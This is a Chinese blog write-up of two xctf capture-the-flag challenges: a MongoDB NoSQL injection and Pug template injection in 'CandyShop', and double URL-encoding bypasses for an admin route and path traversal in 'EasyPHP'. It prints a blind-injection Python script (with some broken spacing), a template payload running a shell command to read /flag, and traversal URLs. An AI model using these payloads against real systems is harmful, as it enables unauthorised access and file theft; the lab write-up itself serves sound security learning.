xctf部分题目

原创

菜菜的小太阳 于 2021-09-24 22:15:22 发布 8 收藏
分类专栏： xctf 文章标签： web安全 安全

xctf部分题目

一、CandyShop

通过观察页面发现了帐号登录功能，尝试sql注入与xss无果，，尝试注册帐号，可以注册帐号，但所有帐号均未激活，通过审计源码（这里先通过工具seay审计，但是seay只能找出可能存在漏洞的函数，对于这种题目而言，只能通过人工审计。），发现了一个已经激活的帐号，但是无密码。

```
let users = client.db('test').collection('users')
users.deleteMany(err => {
    if (err) {
        console.log(err)
    } else {
        users.insertOne({
            username: 'rabbit',
            password: process.env.PASSWORD,
            active: true
        })
    }
})
```

同时我们可以发现题目所使用的数据库是mongodb

```
const mongodb = require('mongodb')

const mongoUrl = 'mongodb://db:27017'
```

并且继续审计源码发现了在路由/login处存在一处特别明显的mongodb注入（nosql注入）：

```
router.post('/login', async (req, res) => {
    let {username, password} = req.body
    let rec = await db.Users.find({username: username, password: password})
    if (rec) {
        if (rec.username === username && rec.password === password) {
            res.cookie('token', rec, {signed: true})
            res.redirect('/shop')
        } else {
            res.render('login', {error: 'You Bad Bad >_<'})
        }
    } else {
        res.render('login', {error: 'Login Failed!'})
    }
})
```

关于mongodb注入：

我们知道sql注入时一般执行的语句为：

```
select id from users where username = '' or 1=1--  and password = '123'
```

而mongodb注入当传入的URL为：

```
http://127.0.0.1/index.php?username=test&password=test
```

时实际执行的语句为：

```
db.test.find({username:’test’,password:’test’});
```

当我们修改传入参数的类型为数组既将username改为username[xx]时，mongodb执行的语句最终会变成这样：

```
db.test.find({username:{‘xx’:’test’},password:’test’});
```

参数xx可控，因此我们可以传入一些操作符以达到注入的目的。例如传入$ne：

```
db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});
```

就相当于sql语句中的：

```
select * from test where username!='test' and password!='test';
```

直接便利出所有集合中的数据。本题中尝试注入后发现无回显，如果此时的用户名与密码不能回显，只是返回一个逻辑上的正误判断。那么我们可以采用$regex操作符来一位一位获取数据。

贴上官方的盲注脚本：

```
import requests as req
chars='0123456789abcdef'
ans=
''
j=0
for pos in range(1,64):
    forchinchars:
        data= {'username':'rabbit','password[$regex]':'^'+ans+ch+'.*$'}
        res=req.post('http://123.60.21.23:23333/user/login',data )
        #res = req.post('http://127.0.0.1:3000/user/login',data )
        if'Bad'inres.text:
            ans+=ch
            break
print(pos,ans)
```

当然，通过nosql注入得到已激活账户的密码后本题还未结束，继续审计代码，在/order路由处又发现了一处注入：

```
router.get('/order', checkLogin, checkActive, async (req, res) => {
    let {id} = req.query
    let candy = await db.Candies.find({id: id})
    res.render('order', {user_name: req.signedCookies.token.username, candy: candy})
})

router.post('/order', checkLogin, checkActive, async (req, res) => {
    let {user_name, candy_name, address} = req.body

    res.render('confirm', {
        user_name: user_name,
        candy_name: candy_name,
        address: pug.render(address)
    })

})
```

此处为pug模板注入且模板内容可控。所以直接构造payload：

```
username=1&candyname=1&address='+flag=global.process.mainModule.constructor._load('child_process')
.execSync("cat+/flag").toString()+a='
```

二、EasyPHP

又是一个代码审计题，通过审计代码，可以了解到大致的解题思路：利用admin权限读取文件，绕过对../的限制

首先发现了/admin只能本地访问，伪造数据包请求发现还是无法访问，继续观察源码发现如下内容：

```
 public function route(Request $request) {
        $url_decoded = urldecode( $request->url );
        while ($route = $this->current()) {
            if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded,
$this->case_sensitive)) {
                return $route;
            }
            $this->next();
        }

        return false;
    }
```

其中urldecode是我们构造payload绕过的关键，

由于路由前会经过一次urldecode，且flight也会经过一次urldecode，故，我们可以利用二次编码绕过：

```
%2561%2564%256d%2569%256e%3flogin=123`
```

可以访问admin后还需绕过对../的限制才能得到最终的flag

```
public function matchUrl($url, $case_sensitive = false) {
    // Wildcard or exact match
    if ($this->pattern === '*' || $this->pattern === $url) {
        return true;
    }

    $ids = array();
    $last_char = substr($this->pattern, -1);

    // Get splat
    if ($last_char === '*') {
        $n = 0;
        $len = strlen($url);
        $count = substr_count($this->pattern, '/');

        for ($i = 0; $i < $len; $i++) {
            if ($url[$i] == '/') $n++;
            if ($n == $count) break;
        }

        $this->splat = (string)substr($url, $i+1);
    }

    // Build the regex for matching
    $regex = str_replace(array(')','/*'), array(')?','(/?|/.*?)'), $this->pattern);

    $regex = preg_replace_callback(
        '#@([\w]+)(:([^/\(\)]*))?#',
        function($matches) use (&$ids) {
            $ids[$matches[1]] = null;
            if (isset($matches[3])) {
                return '(?P<'.$matches[1].'>'.$matches[3].')';
            }
            return '(?P<'.$matches[1].'>[^/\?]+)';
        },
        $regex
    );
```

```
    //

    // Fix trailing slash
    if ($last_char === '/') {
        $regex .= '?';
    }
    // Allow trailing slash
    else {
        $regex .= '/?';
    }

    // Attempt to match route and named parameters
    if (preg_match('#^'.$regex.'(?:\?.*)?$#'.(($case_sensitive) ? '' : 'i'), $url, $matches)) {
        foreach ($ids as $k => $v) {
            $this->params[$k] = (array_key_exists($k, $matches)) ? urldecode($matches[$k]) : null;
        }

        $this->regex = $regex;

        return true;
    }

    return false;
}
```

因此，最终读文件时，也可通过二次编码绕过：

```
/%2561%2564%256d%2569%256e%3flogin=123%26data=..%252f..%252f..%252f..%252fflag
```